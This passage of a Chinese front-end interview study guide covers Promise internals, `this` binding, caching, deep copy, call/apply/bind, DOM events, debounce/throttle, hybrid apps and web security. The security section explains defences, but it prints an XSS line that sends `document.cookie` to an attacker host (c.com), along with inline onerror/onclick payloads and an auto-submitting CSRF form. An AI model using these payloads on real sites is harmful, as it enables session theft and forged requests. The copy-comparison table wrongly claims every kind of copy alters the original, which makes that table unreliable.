    static resolve (value) {
      // 如果参数是MyPromise实例,直接返回这个实例
      if (value instanceof MyPromise) return value
      return new MyPromise(resolve => resolve(value))
    }
    // 添加静态reject方法
    static reject (value) {
      return new MyPromise((resolve ,reject) => reject(value))
    }
    // 添加静态all方法
    static all (list) {
      return new MyPromise((resolve, reject) => {
        /**
         * 返回值的集合
         */
        let values = []
        let count = 0
        for (let [i, p] of list.entries()) {
          // 数组参数如果不是MyPromise实例,先调用MyPromise.resolve
          this.resolve(p).then(res => {
            values[i] = res
            count++
            // 所有状态都变成fulfilled时返回的MyPromise状态就变成fulfilled
            if (count === list.length) resolve(values)
          }, err => {
            // 有一个被rejected时返回的MyPromise状态就变成rejected
            reject(err)
          })
        }
      })
    }
    // 添加静态race方法
    static race (list) {
      return new MyPromise((resolve, reject) => {
        for (let p of list) {
          // 只要有一个实例率先改变状态,新的MyPromise的状态就跟着改变
          this.resolve(p).then(res => {
            resolve(res)
          }, err => {
            reject(err)
          })
        }
      })
    }
    finally (cb) {
      return this.then(
        value  => MyPromise.resolve(cb()).then(() => value),
        reason => MyPromise.resolve(cb()).then(() => { throw reason })
      );
    }
  }

参考链接:https://www.jianshu.com/p/43de678e918a

this

对于普通函数来说,内部的this指向函数运行时所在的对象,但是这一点对箭头函数不成立。它没有自己的this对象,内部的this就是定义时上层作用域中的this。也就是说,箭头函数内部的this指向是固定的,相比之下,普通函数的this指向是可变的。

this指的是函数运行时所在的环境。在ES5中,this的指向,始终坚持一个原理:this永远指向最后调用它的那个对象
例子1:

var name = "windows";
function a() {
      var name = "mac";
      console.log(this.name);// windows
      console.log("inner:" + this);// inner: Window
}
a();
console.log("outer:" + this);// outer: Window

例子2:

var name = "windows";
let a = {
    name: "mac",
    fn: function(){
        console.log(this.name);//mac
    }
};
a.fn();

例子3:

var name = "windows";
let a = {
    fn: function(){
        console.log(this.name);//undefined
    }
};
a.fn();

例子4:

var name = "windows";
let a = {
    name: 'mac',
    fn: function(){
        console.log(this.name);//windows
    }
};
let f = a.fn;
f();

例子5:

var name = "windows";
function outer() {
    var name = "mac";
    inner();
    function inner() {
        console.log(this.name);//windows
    }
}
outer();

例子6:

function fn() {
    console.log(this);  // {a: 100}
    let arr = [1, 2, 3];
    arr.map(function (item) {
        console.log(this);  // window  可以理解为“匿名函数的 this 永远指向 window”
    });
    arr.map(item => {
        console.log(this);  // {a: 100}  箭头函数不绑定this,会捕获其所在的上下文的this值
    });
}
fn.call({a: 100});

例子7:箭头函数不绑定this,会捕获其所在的上下文的this值,作为自己的this值

let obj = {
  a: 10,
  b: () => {
    console.log(this.a); // undefined
    console.log(this); // Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}
  },
  c: function() {
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ}
  }
}
obj.b(); 
obj.c();
let obj = {
  a: 10,
  b: function(){
    console.log(this.a); //10
  },
  c: function() {
     return ()=>{
           console.log(this.a); //10
     }
  }
}
obj.b(); 
obj.c()();
let obj = {
  a: 10,
  b: function(){
    console.log(this.a); //10
  },
  c: ()=> {
     return ()=>{
           console.log(this.a); //undefined
     }
  }
}
obj.b(); 
obj.c()();

参考链接:https://juejin.im/post/59bfe84351882531b730bac2

箭头函数与普通函数的区别

对于普通函数来说,内部的this指向函数运行时所在的对象,但是这一点对箭头函数不成立。它没有自己的this对象,内部的this就是定义时上层作用域中的this。也就是说,箭头函数内部的this指向是固定的,相比之下,普通函数的this指向是可变的。

  • 箭头函数是匿名函数,不能作为构造函数,不能使用new
  • 箭头函数不绑定arguments,取而代之用rest参数...解决
function A(a){
  console.log(arguments);
}
A(1,2,3,4,5,8);  //  [1, 2, 3, 4, 5, 8, callee: ƒ, Symbol(Symbol.iterator): ƒ]
let B = (b)=>{
  console.log(arguments);
}
B(2,92,32,32);  // Uncaught ReferenceError: arguments is not defined
let C = (...c) => {
  console.log(c);
}
C(3,82,32,11323);  // [3, 82, 32, 11323]
  • 箭头函数不绑定this,会捕获其所在的上下文的this值,作为自己的this值
let obj = {
  a: 10,
  b: () => {
    console.log(this.a); // undefined
    console.log(this); // Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}
  },
  c: function() {
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ}
  }
}
obj.b(); 
obj.c();
let obj = {
  a: 10,
  b: function(){
    console.log(this.a); //10
  },
  c: function() {
     return ()=>{
           console.log(this.a); //10
     }
  }
}
obj.b(); 
obj.c()();
  • 箭头函数通过 call() 或 apply() 方法调用一个函数时,只传入了一个参数,对 this 并没有影响
let obj = {
    a: 10,
    b: function(n) {
        let f = (n) => n + this.a;
        return f(n);
    },
    c: function(n) {
        let f = (n) => n + this.a;
        let m = {
            a: 20
        };
        return f.call(m,n);
    }
};
console.log(obj.b(1));  // 11
console.log(obj.c(1));  // 11
  • 箭头函数没有原型属性
let a = () =>{
  return 1;
}
function b() {
  return 2;
}
console.log(a.prototype);  // undefined
console.log(b.prototype);  // {constructor: ƒ}
  • 箭头函数不能当做Generator函数,不能使用yield关键字

性能优化

提升页面性能的方法
1、资源压缩合并,减少HTTP请求
2、非核心代码异步加载 -> 异步加载的方式 -> 异步加载的区别
3、利用浏览器缓存 -> 缓存的分类 -> 缓存的原理
4、使用CDN
5、预解析DNS

异步加载
1、异步加载的方式
动态脚本加载(利用script标签动态创建加载)
defer:是在HTML解析完之后才会执行,如果是多个,按照加载的顺序依次执行。
async:是在加载完之后立即执行,如果是多个,执行顺序和加载顺序无关。

浏览器缓存
缓存的分类
1、强缓存(直接用本地缓存,不问服务器)
Expires: 服务器绝对时间(弊端:浏览器和服务器时间可能不一致)
Cache-Control: max-age=3600 相对时间
以上两个字段同时存在,以后者为准。

2、协商缓存(使用前询问服务器是否过期了)
Last-Modified(服务器给的) If-Modified-Since(浏览器带给服务器)两个值相同 (弊端:修改时间变了,但是内容可能没变)
Etag(服务器给的) If-None-Match(浏览器带给服务器)两个值相同

image

from memory cache 和 from disk cache,前者指缓存来自内存,后者指缓存来自硬盘

在浏览器接收到服务器响应后,会检测响应头部(Header),如果有Etag字段,那么浏览器就会将本次缓存写入硬盘中。

拉取缓存会出现200、304两种不同的状态码,取决于浏览器是否有向服务器发起验证请求。 只有向服务器发起验证请求并确认缓存未被更新,才会返回304状态码。

配置缓存时一定要切记,浏览器在处理用户请求时,如果命中强缓存,浏览器会直接拉取本地缓存,不会与服务器发生任何通信,也就是说,如果我们在服务器端更新了文件,并不会被浏览器得知,就无法替换失效的缓存。所以我们在构建阶段,需要为我们的静态资源添加md5 hash后缀,避免资源更新而引起的前后端文件无法同步的问题。

----------------------更新---------------------

纯异步渲染

当前主流的 SPA 的应用的默认渲染方式
image

优化:

  • 把静态资源缓存起来,这样下次用户打开的时候就不用从网络请求了。
  • 第 ④ 步拉取 CGI 这个动作是否可以提前呢?我们可以在请求 HTML 之后,先通过一段 JS 脚本去请求 CGI 数据,后面第 ④ 步的时候,就可以直接拿到数据了,这就是 CGI 预加载。

image

其他优化方法:

  • 在 HTML 内实现 Loading 态或者骨架屏;
  • 去掉外联 css;
  • 使用动态 polyfill(意思是不支持新特性的浏览器会加载,已经支持的不加载);
  • 使用 SplitChunksPlugin 拆分公共代码;
  • 正确地使用 Webpack 4.0 的 Tree Shaking;
  • 使用动态 import,切分页面代码,减小首屏 JS 体积;
  • 编译到 ES2015+,提高代码运行效率,减小体积;
  • 使用 lazyload 和 placeholder 提升加载体验。

直出同构

服务端渲染
image

直出渲染的耗时的大头还是在 CGI 接口的拉取上

  • CGI 接口的数据是否可以缓存 ?
  • HTML 又是否可以缓存 ?

接口的动静分离
直出 Redis 缓存

  • 客户端请求此网页,Node 端接受到请求之后,先去 Redis 里拿缓存的 HTML,如果 Redis 缓存没有命中,则拉取静态的 CGI 接口渲染出 HTML存入 Redis。
  • 客户端拿到 HTML 之后,会立刻渲染,然后再用 JS 去请求动态的数据,渲染到相应的地方。

image

参考链接:https://juejin.im/post/5c3ff18b6fb9a04a0a5f76aa

------------------------更新------------------------

参考链接:https://juejin.im/post/5b6fa8c86fb9a0099910ac91

浅拷贝vs深拷贝

说到浅拷贝和深拷贝,先要明白基本数据类型和引用数据类型、栈内存和堆内存、传值和传址等概念。

  • 赋值、浅拷贝、深拷贝的区别:
-- 和原数据是否指向同一对象 第一层数据为基本数据类型 原数据中包含子对象
赋值 改变会使原数据一同改变 改变会使原数据一同改变
浅拷贝 改变会使原数据一同改变 改变会使原数据一同改变
深拷贝 改变会使原数据一同改变 改变会使原数据一同改变
  • 浅拷贝:创建一个新对象,这个对象有着原始对象属性值的一份精确拷贝。如果属性是基本类型,拷贝的就是基本类型的值,如果属性是引用类型,拷贝的就是内存地址 ,所以如果其中一个对象改变了这个地址,就会影响到另一个对象。
function clone(target) {
    let cloneTarget = {};
    for (const key in target) {
        cloneTarget[key] = target[key];
    }
    return cloneTarget;
};
  • 深拷贝:将一个对象从内存中完整的拷贝一份出来,从堆内存中开辟一个新的区域存放新对象,且修改新对象不会影响原对象。 如何实现一个深拷贝?

常用版

JSON.parse(JSON.stringify()),这种写法非常简单,而且可以应对大部分的应用场景,但是有缺陷,如果值是函数、undefined、Symbol类型、循环引用等情况,则会被忽略。

简单版

如果有更深层次的对象可以继续递归直到属性为原始类型,这样我们就完成了一个最简单的深拷贝。

function clone(target) {
    if (typeof target === 'object') {
        let cloneTarget = {};
        for (const key in target) {
            cloneTarget[key] = clone(target[key]);
        }
        return cloneTarget;
    } else {
        return target;
    }
};

考虑数组

在上面的版本中,我们的初始化结果只考虑了普通的object,下面我们只需要把初始化代码稍微一变,就可以兼容数组

function clone(target) {
    if (typeof target === 'object') {
        let cloneTarget = Array.isArray(target) ? [] : {};
        for (const key in target) {
            cloneTarget[key] = clone(target[key]);
        }
        return cloneTarget;
    } else {
        return target;
    }
};

循环引用

例子

const target = {
    field1: 1,
    field2: [2, 4, 8]
};
target.target = target;

对于对象循环引用的拷贝,应用上一版的递归,由于递归进入死循环导致栈内存溢出。
解决循环引用问题,我们可以额外开辟一个存储空间,来存储当前对象和拷贝对象的对应关系,当需要拷贝当前对象时,先去存储空间中找,有没有拷贝过这个对象,如果有的话直接返回,如果没有的话继续拷贝。使用WeakMap不使用Map的原因是:WeakMap 中的对象都是弱引用,即垃圾回收机制不考虑 WeakMap 对该对象的引用,也就是说,如果其他对象都不再引用该对象,那么垃圾回收机制会自动回收该对象所占用的内存,不考虑该对象还存在于 WeakMap 之中。

function clone(target, map = new WeakMap()) {
    if (typeof target === 'object') {
        let cloneTarget = Array.isArray(target) ? [] : {};
        if (map.get(target)) {
            return map.get(target);
        }
        map.set(target, cloneTarget);
        for (const key in target) {
            cloneTarget[key] = clone(target[key], map);
        }
        return cloneTarget;
    } else {
        return target;
    }
};

性能优化

在上面的代码中,我们遍历数组和对象都使用了for in这种方式,实际上for in在遍历时效率是非常低的,我们来对比下常见的三种循环for、while、for in的执行效率,while是最高的。
因此使用while来实现通用的遍历方法:

function forEach(array, callback) {
    let index = -1;
    const length = array.length;
    while (++index < length) {
        callback(array[index], index);
    }
    return array;
}

使用上述的forEach函数进行优化

function clone(target, map = new WeakMap()) {
    if (typeof target === 'object') {
        const isArray = Array.isArray(target);
        let cloneTarget = isArray ? [] : {};

        if (map.get(target)) {
            return map.get(target);
        }
        map.set(target, cloneTarget);

        const keys = isArray ? undefined : Object.keys(target);
        forEach(keys || target, (value, key) => {
            if (keys) {
                key = value;
            }
            cloneTarget[key] = clone(target[key], map);
        });

        return cloneTarget;
    } else {
        return target;
    }
}

其他数据类型

在上面的代码中,我们其实只考虑了普通的object和array两种数据类型,实际上所有的引用类型远远不止这两个。

  • 合理的判断引用类型
    首先,判断是否为引用类型,我们还需要考虑function和null两种特殊的数据类型:
function isObject(target) {
    const type = typeof target;
    return target !== null && (type === 'object' || type === 'function');
}
  • 获取引用类型的具体类型
    我们可以使用toString来获取准确的引用类型,如果此方法在自定义对象中未被覆盖,toString才会达到预想的效果,事实上,大部分引用类型比如Array、Date、RegExp等都重写了toString方法。
    我们可以直接调用Object原型上未被覆盖的toString()方法,使用call来改变this指向来达到我们想要的效果。
function getType(target) {
    return Object.prototype.toString.call(target);
}
const mapTag = '[object Map]';
const setTag = '[object Set]';
const arrayTag = '[object Array]';
const objectTag = '[object Object]';

const boolTag = '[object Boolean]';
const dateTag = '[object Date]';
const errorTag = '[object Error]';
const numberTag = '[object Number]';
const regexpTag = '[object RegExp]';
const stringTag = '[object String]';
const symbolTag = '[object Symbol]';

在上面的集中类型中,我们简单将他们分为两类:可以继续遍历的类型、不可以继续遍历的类型。
可继续遍历的类型考虑object、array、Map、Set这四种。
首先需要获取它们的初始化数据,可以通过拿到constructor的方式来通用的获取。

function getInit(target) {
    const Ctor = target.constructor;
    return new Ctor();
}

下面,我们改写clone函数,对可继续遍历的数据类型进行处理:

function clone(target, map = new WeakMap()) {

    // 克隆原始类型
    if (!isObject(target)) {
        return target;
    }

    // 初始化
    const type = getType(target);
    let cloneTarget;
    if (deepTag.includes(type)) {
        cloneTarget = getInit(target, type);
    }

    // 防止循环引用
    if (map.get(target)) {
        return map.get(target);
    }
    map.set(target, cloneTarget);

    // 克隆set
    if (type === setTag) {
        target.forEach(value => {
            cloneTarget.add(clone(value,map));
        });
        return cloneTarget;
    }

    // 克隆map
    if (type === mapTag) {
        target.forEach((value, key) => {
            cloneTarget.set(key, clone(value,map));
        });
        return cloneTarget;
    }

    // 克隆对象和数组
    const keys = type === arrayTag ? undefined : Object.keys(target);
    forEach(keys || target, (value, key) => {
        if (keys) {
            key = value;
        }
        cloneTarget[key] = clone(target[key], map);
    });

    return cloneTarget;
}

不可继续遍历的类型

function cloneOtherType(target, type) {
    const Ctor = target.constructor;
    switch (type) {
        case boolTag:
        case numberTag:
        case stringTag:
        case errorTag:
        case dateTag:
            return new Ctor(target);
        case regexpTag:
            return cloneReg(target);
        case symbolTag:
            return cloneSymbol(target);
        default:
            return null;
    }
}
克隆Symbol
function cloneSymbol(target) {
    return Object(Symbol.prototype.valueOf.call(target));
}
克隆正则:
function cloneReg(target) {
    const reFlags = /\w*$/;
    const result = new target.constructor(target.source, reFlags.exec(target));
    result.lastIndex = target.lastIndex;
    return result;
}

克隆函数:实际上克隆函数是没有实际应用场景的,两个对象使用一个在内存中处于同一个地址的函数也是没有任何问题的。如果发现是函数的话就会直接返回了,没有做特殊的处理。

call、apply、bind的区别与实现

call、apply、bind都是可以改变this的指向。
三者的区别:
call 和 apply作用都是相同的,只是传参的方式不同。除了第一个参数外,call 可以接收一个参数列表,apply 只接受一个参数数组。
bind 和其他两个方法作用也是一致的,只是该方法会返回一个函数。并且我们可以通过 bind 实现柯里化。
三者的实现:
call

Function.prototype.myCall = function(context) {
    //不传入第一个参数,那么默认为 window
    context = context || window;
    //给 context 添加一个属性
    context.fn = this; // this 就是调用myCall的函数
    //将 context 后面的参数取出来
    let args = [...arguments].slice(1);
    //执行函数
    let result = context.fn(...args);
    //删除 fn
    delete context.fn;
    //返回函数执行后的结果
    return result;
}

apply

Function.prototype.myApply = function(context) {
    context = context || window;
    context.fn = this;
    let result;
    if(arguments[1]){
        result = context.fn(...arguments[1]);
    }else{
        result = context.fn();
    }
    delete context.fn;
    return result;
}

bind

Function.prototype.myBind = function (context, ...args) {
  if (!context || context === null) {
    context = window;
  }
  // 创造唯一的key值  作为我们构造的context内部方法名
  let fn = Symbol();
  context[fn] = this;
  let _this = this;
  //  bind情况要复杂一点
  const result = function (...innerArgs) {
    // 第一种情况 :若是将 bind 绑定之后的函数当作构造函数,通过 new 操作符使用,则不绑定传入的 this,而是将 this 指向实例化出来的对象
    // 此时由于new操作符作用  this指向result实例对象  而result又继承自传入的_this 根据原型链知识可得出以下结论
    // this.__proto__ === result.prototype   //this instanceof result =>true
    // this.__proto__.__proto__ === result.prototype.__proto__ === _this.prototype; //this instanceof _this =>true
    if (this instanceof _this === true) {
      // 此时this指向指向result的实例  这时候不需要改变this指向
      this[fn] = _this;
      this[fn](...[...args, ...innerArgs]); //这里使用es6的方法让bind支持参数合并
    } else {
      // 如果只是作为普通函数调用  那就很简单了 直接改变this指向为传入的context
      context[fn](...[...args, ...innerArgs]);
    }
  };
  // 如果绑定的是构造函数 那么需要继承构造函数原型属性和方法
  // 实现继承的方式: 使用Object.create
  result.prototype = Object.create(this.prototype);
  return result;
};

fun.bind(thisArg[, arg1[, arg2[, ...]]])
thisArg 当绑定函数被调用时,该参数会作为原函数运行时的 this 指向。当使用 new 操作符调用绑定函数时,该参数无效。
arg1, arg2, … (可选)当绑定函数被调用时,这些参数加上绑定函数本身的参数会按照顺序作为原函数运行时的参数。

【编程题】数字实现千分符号

function  ConvertDigital(value) {
  if (!value) return 0;
  // 获取整数部分
  const intPart = Math.trunc(value);
  // 整数部分处理,增加,
  // 正则处理
  // const intPartStr = intPart.toString().replace(/(\d)(?=(?:\d{3})+$)/g, "$1,");
  // 遍历处理
  let intPartStr = intPart.toString()
  const len = intPartStr.length
  const arr = intPartStr.split('')
  for(let i = 1; i < len; i++) {
    j = len - i
    if(i % 3 === 0) {
      arr.splice(j, 0 , ',')
    }
  }
  intPartStr = arr.join('')

  // 预定义小数部分
  let floatPart = "";
  // 将数值截取为小数部分和整数部分
  const valueArray = value.toString().split(".");
  if (valueArray.length === 2) {
    // 有小数部分
    floatPart = valueArray[1].toString(); // 取得小数部分
    return intPartStr + "." + floatPart;
  }
  return intPartStr + floatPart;
}

js模块化

CommonJS与ESM的区别
1、动态与静态
Commonjs对模块的依赖是动态的,这里动态的含义是指,模块依赖关系的建立发生在代码运行阶段;而静态则表示模块依赖关系的建立发生在代码编译阶段。
所以esm可以做到死代码的检测和排除,也就是常说的tree-shaking

2、值复制与动态映射

3、esm可以更好的支持循环依赖

DOM事件

DOM事件的级别
DOM0 element.onclick=function(){} 或者作为html元素属性 onclick="action()"
DOM2 element.addEventListener('click', function(){}, false)
DOM3 element.addEventListener('keyup', function(){}, false)

dom.addEventListener('click', function(){}, false)
第三个参数是指事件句柄是否在捕获阶段触发,默认是false,在冒泡阶段触发。

DOM事件模型
捕获、冒泡

DOM事件流
事件通过捕获到达目标元素,然后目标元素再冒泡到window对象。
所以经过三个阶段:捕获阶段、目标阶段、冒泡阶段。

描述DOM事件捕获的具体流程
window->document->html->body->......->目标元素。
冒泡具体流程刚好相反。
document.documentElement 可以获取html元素

Event对象的常见应用
event.preventDefault()
event.stopPropagation()
event.stopImmediatePropagation()
event.currentTarget 当前绑定事件的元素
event.target 触发事件的目标元素

自定义事件
let eve = new Event("custome");
ev.addEventListener("custome", function(){});
ev.dispatchEvent(eve);

注意目标元素的事件触发与注册的顺序有关
https://juejin.cn/post/6844903450493321223

防抖和节流

防抖确保函数不会在上一次被调用之后一定量的时间内被执行。
节流阻止函数在给定时间窗口内被调不能超过一次。

我们经常会需要绑定一些持续触发的事件,如 resize、scroll、mousemove 等等,但有些时候我们并不希望在事件持续触发的过程中那么频繁地去执行函数,防抖和节流是比较好的解决方案。
防抖(debounce)
所谓防抖,就是指触发事件后在 n 秒内函数只能执行一次,如果在 n 秒内又触发了事件,则会重新计算函数执行时间。

/**
 * @desc 函数防抖
 * @param func 函数
 * @param wait 延迟执行毫秒数
 * @param immediate true 表立即执行,false 表非立即执行
 */
function debounce(func, wait = 1000, immediate = true) {
    let timeout;

    return function () {
        let context = this;
        let args = arguments;

        if (timeout) clearTimeout(timeout);
        if (immediate) {
            var callNow = !timeout;
            timeout = setTimeout(() => { // setTimeout返回的值从1开始不断递增
                timeout = null;
            }, wait)
            if (callNow) func.apply(context, args)
        } else {
            timeout = setTimeout(function(){
                func.apply(context, args)
            }, wait);
        }
    }
}

节流(throttle)
所谓节流,就是指连续触发事件但是在 n 秒中只执行一次函数。
时间戳版和定时器版的节流函数的区别就是,时间戳版的函数触发是在时间段内开始的时候,而定时器版的函数触发是在时间段内结束的时候

/**
 * @desc 函数节流
 * @param func 函数
 * @param wait 延迟执行毫秒数
 * @param type 1 表时间戳版,2 表定时器版
 */
function throttle(func, wait = 1000 ,type = 1) {
    if(type===1){
        var previous = 0;
    }else if(type===2){
        var timeout;
    }
    return function() {
        let context = this;
        let args = arguments;
        if(type===1){
            let now = Date.now();

            if (now - previous > wait) {
                func.apply(context, args);
                previous = now;
            }
        }else if(type===2){
            if (!timeout) {
                timeout = setTimeout(() => {
                    timeout = null;
                    func.apply(context, args)
                }, wait)
            }
        }
    }
}

参考链接:https://www.jianshu.com/p/c8b86b09daf0

hybrid开发要点

hybrid 是什么?

  • hybrid 即“混合”,即前端和客户端的混合开发
  • 需前端开发人员和客户端开发人员配合完成
  • 某些环节也可能涉及到 server 端

为何需要 hybrid ?

  • 可以快速迭代更新,无需 app 审核
  • 体验流畅(和 NA 的体验基本类似)
  • 减少开发和沟通成本,双端公用一套代码

webview

  • 是 app 中的一个组件
  • 用于加载 h5 页面,即一个小型的浏览器内核

file 协议

  • file 协议:本地文件,快
  • http(s) 协议:网络加载,慢

使用场景

  • 使用 NA :体验要求极致,变化不频繁(无头条的首页)
  • 使用 hybrid :体验要求高,变化频繁(如头条的新闻详情页)
  • 使用 h5 :体验无要求,不常用(如举报、反馈等页面)

与 h5 相比缺点:开发成本高,联调、测试、查 bug 都比较麻烦。运维成本高。

hybrid具体实现

  • 前端做好静态页面(html js css),将文件交给客户端
  • 客户端拿到前端静态页面,以文件形式存储在 app 中
  • 客户端在一个 webview 中
  • 使用 file 协议加载静态页面

image

hybrid 更新上线流程

  • 分版本,有版本号,如 202002191015
  • 将静态文件压缩成 zip 包,上传到服务端
  • 客户端每次启动,都去服务端检查版本号
  • 如果服务端版本号大于客户端版本号,就去下载最新的 zip 包
  • 下载完之后解压包,然后将现有文件覆盖

前端和客户端通讯

  • 不能用 ajax 获取。第一 跨域,第二 速度慢。
  • 客户端获取新闻内容,然后 JS 通讯拿到内容,再渲染。

JS 和客户端通讯的基本形式
image

  • JS 访问客户端能力,传递参数和回调函数
  • 客户端通过回调函数返回内容

schema 协议简介和使用

  • schema 协议 —— 前端和客户端通讯的约定

image

window['_weixin_scan_callback'] = function (result) {

}
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
iframe.src = 'weixin://dl/scan?k1=v1&k2=v2&callback=_weixin_scan_callback'
let body = document.body || document.getElementsByTagName('body')[0]
body.appendChild(iframe)
setTimeout(function () {
    body.removeChild(iframe) // 销毁 iframe
    iframe = null
})

schema 使用的封装

invoke.js

内置上线

  • 将以上封装的代码打包,叫做 invoke.js,内置到客户端
  • 客户端每次启动 webview ,都默认执行 invoke.js
  • 本地加载,免去网络加载的时间,更快
  • 本地加载,没有网络请求,黑客看不到 schema 协议,更安全

前端安全

Session与安全
尽管我们的数据都放置在后端了,使得它能保障安全,但是无论通过Cookie,还是查询字符串的实现方式,Session的口令依然保存在客户端。自行设计的随机算法的一些口令值就有能被命中。如何让这个口令更加安全?
①有一种做法是将这个口令通过私钥加密进行签名,使得伪造的成本更高。客户端尽管可以伪造口令值,但是由于不知道私钥值,签名信息很难伪造。
②一种方案是将客户端的某些独有信息与口令作为原值,
然后签名,这样攻击者一旦不在原始的客户端上进行访问,就会导致签名失败。这些独有信息包括用户IP和用户代理(User Agent)。

XSS(跨站脚本攻击)
主要形成原因多数是用户的输入没有被转义,而被直接执行,cookie被盗取,容易被伪造。以及破坏页面结构。

location.href = "http://c.com/?" + document.cookie;

这段代码将该用户的Cookie提交给了c.com站点,这个站点就是攻击者的服务器,他也就能拿到该用户的SessionID。然后他在客户端中用这个口令(token)伪造Cookie,从而实现了伪装用户的身份。

在这个案例中,如果口令(token)中有用户的客户端信息的签名,即使口令被泄露,除非攻击者与用户客户端完全相同,否则不能实现伪造。

-----------------更新-------------------
xss的攻击方式

  • 反射型
    发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
    例如:
<img src="null" onerror="alert(1)"/>
<p onclick="alert(1)">点我</p>
<iframe src="www.baidu.com"></iframe> // (插入各种广告) 
  • 存储型
    与反射型的区别仅在于,提交的代码会存储在服务器端(内存、数据库、文件系统等),下次请求目标页面时不需提交XSS代码。

xss攻击防御措施

  • 编码
    对用户输入的数据进行HTML Entity编码。
  • 过滤
    移除用户上传的DOM属性,如onerror、onclick等。
    移除用户上传的Style、Script、Iframe(iframe可以连环诱发csrf攻击)等节点。
  • 校正
    避免直接对HTML Entity解码。
    使用DOM Parse转换,校正不配对的DOM标签。

参考链接:https://www.imooc.com/learn/812

-----------------更新-------------------

CSRF(跨站请求伪造)
CSRF的攻击并不需要知道session_id,攻击者只需要引诱A网站的用户在B网站访问。

<form id="test" method="POST" action="http://domain_a.com/guestbook">
    <input type="hidden" name="content" value="vim是编辑器" />
</form>
<script type="text/javascript">
$(function () {
    $("#test").submit();
});
</script>

解决CSRF攻击的方案有添加随机数的方式。只需要在接收端做一次校验就能轻易识别出请求是否为伪造的。body中传输、也可以用在于查询字符串或者请求头中。
---------------更新-------------
防御措施
Token验证:每次登陆都给客户端一个Token值。和上述随机数一样的原理。
Referer验证
隐藏令牌:放在请求头中,和上述一样原理。

--------------更新--------------
应用CSP防御 xss 攻击

【编程题】数组结构数据与树结构数据互相转换

const convert = (data, parentId) => {
  let res = []
  data.forEach(item => {
    if (item.parent_id === parentId) {
      res.push(item)
      convertChild(data, item, item.id)
    }
  })
  return res
}
const convertChild = (data, parentItem, parentId) => {
  parentItem.children = parentItem.children ? parentItem.children : []
  data.forEach(item => {
    if (item.parent_id === parentId) {
      parentItem.children.push(item)
      convertChild(data, item, item.id)
    }
  })
  return parentItem.children
}

let data = [
  { id: 1, label: "**", parent_id: 0 },
  { id: 2, label: "北京", parent_id: 1 },
  { id: 3, label: "上海", parent_id: 1 },
  { id: 4, label: "广东", parent_id: 1 },
  { id: 5, label: "广州", parent_id: 4 },
  { id: 6, label: "深圳", parent_id: 4 },
]

convert(data, 0)
/**
 *递归查询,获取children
 * @param data
 * @param result
 * @param pid
 */
const getChildren = (data, result, pid) => {
  for (const item of data) {
    if (item.pid === pid) {
      const newItem = { ...item, children: [] };
      result.push(newItem);
      getChildren(data, newItem.children, item.id);
    }
  }
}
/**
 * 转换方法
 */
const arrayToTree = (data, pid) => {
  const result = [];
  getChildren(data, result, pid);
  return result;
}
arrayToTree(arr, 0)
/**第三种办法(最优性能)
 * 思路:把数据转换Map去存储,之后遍历的同时借助对象引用,直接从Map找对应的数据做存储。
 *     (不同点在遍历的时候即做Map存储,有找对应关系。性能会更好。)
 * */
function arrayToTreeII(items) {
  const result = [];  //存放结果集
  const itemMap = {};
  for (const item of items) {
    const id = item.id;
    const pid = item.pid;

    if (!itemMap[id]) {
      itemMap[id] = {
        children: [],
      }
    }
    itemMap[id] = {
      ...item,
      children: itemMap[id]['children']
    }

    const treeItem = itemMap[id];

    if (pid === 0) {
      result.push(treeItem);
    } else {
      if (!itemMap[pid]) {
        itemMap[pid] = {
          children: [],
        }
      }
      itemMap[pid].children.push(treeItem);
    }
  }
  return result
}
arrayToTreeII(arr)

let row = {
  "总经办": {
    "财务部": {
      "财务总监": "张三"
    },
    "人事部": {
      "人事总监": "李四",
      "人事专员": "小明"
    }
  }
}

let resultList = {};
function dataTotree(data) {
  const result = [];
  Object.keys(data).forEach(key => {
    const item = {
      label: key,
      children: data[key]
    }
    if (item.children instanceof Object) {
      item.children = dataTotree(data[key])
    } else {
      item.children = [{ label: data[key] }];
    }
    result.push(item)
  })
  return result;
}
let result = dataTotree(row);

Array对象flat、filter等方法的实现

flat方法是ES6新增的一个特性,可以将多维数组展平为低维数组。如果不传参默认展平为一层,传参可以规定展平的层级。

//展平为一层
const flat = (arr) => { 
   return [].concat(...arr.map(x => Array.isArray(x) ? flat(x) : x));
}
//展平多层,deep表示展平的层数,从外层往内层开始。
function flattenByDeep(arr, deep){
    let result = [];
    for(let i = 0; i < arr.length; i++){
        if(Array.isArray(arr[i]) && deep >= 1){
            result = result.concat(flattenByDeep(arr[i], deep - 1));
        }else{
            result.push(arr[i]);
        }
    }
    return result;
}

filter方法接收的参数依次为数组当前元素、数组index、整个数组,并返回结果为新数组。

Array.prototype.filter = function(fn,context){
    if(typeof fn != 'function'){
        throw new TypeError(`${fn} is not a function`);
    }
    let arr = this;
    let result = [];
    for(var i = 0;i < arr.length; i++){
        let temp= fn.call(context, arr[i], i, arr);
        if(temp){
            result.push(arr[i]);
        }
    }
    return result;
}

实现EventEmitter

观察者模式是我们工作中经常能接触到的一种设计模式。EventEmitter 是 node 中的核心,主要方法包括on、emit、off、once。

class EventEmitter {
    constructor() {
        this.events = {};
    }
    on(name, cb) {
         if(!this.events[name]){
             this.events[name] = [cb];
        }else{
             this.events[name].push(cb);
        }
    }
    emit(name, ...args) {
        if(this.events[name]) {
            this.events[name].forEach(fn => {
                fn.call(this, ...args);
            });
        }
    }
    off(name,cb){
        if(this.events[name]){
            this.events[name] = this.events[name].filter(fn => {
                return fn != cb
            })
        }
    }
    once(name,fn){
        var onlyOnce = () => {
            fn.apply(this,arguments);
            this.off(name,onlyOnce)
        }
        this.on(name,onlyOnce);
        return this;
    }
}

弹性布局

基本概念
采用Flex布局的元素,称为Flex容器(flex container),简称"容器"。它的所有子元素自动成为容器成员,称为Flex项目(flex item),简称"项目"
image
水平的主轴、垂直的交叉轴、项目默认沿主轴排列。

容器

  • flex-direction: row | row-reverse | column | column-reverse
    flex-direction属性决定主轴的方向(即项目的排列方向)。
  • flex-wrap: nowrap | wrap | wrap-reverse(换行,第一行在下方)
    如果一条轴线排不下,如何换行。
  • flex-flow
